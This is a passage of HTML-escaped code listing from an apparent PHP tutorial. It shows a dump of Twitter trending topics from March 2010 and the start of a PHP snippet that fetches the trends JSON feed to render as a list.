&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #HappyBirthdayGagaBR&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%23HappyBirthdayGagaBR&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[3] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; Justin Bieber&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;26&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%22Justin+Bieber%22&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;27&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;28&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;29&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[4] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;30&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;31&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #FreakyFactSays&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;32&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%23FreakyFactSays&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;33&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;34&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;35&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[5] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;36&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;37&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #YouSoGangsta&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;38&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%23YouSoGangsta&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;39&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;40&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;41&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[6] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;42&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;43&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; I ?&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;44&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%22I+%E2%99%A5%22&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;45&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;46&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;47&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[7] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;48&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;49&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #MeMyselfandTime&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;50&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%23MeMyselfandTime&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;51&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;52&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;53&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[8] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;54&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;55&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #2010yearofJonas&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;56&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%232010yearofJonas&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;57&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;58&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;59&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[9] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;60&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;61&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; Easter&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;62&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=Easter&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;63&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;64&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;65&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[as_of] =&gt; Sun, 28 Mar 2010 19:31:30 +0000&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;66&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

You can then use a simple loop to &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=16&quot;&gt;render the current trends as an unordered list&lt;/a&gt;:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_980311&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://search.twitter.com/trends.json&quot;&gt;http://search.twitter.com/trends.json&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
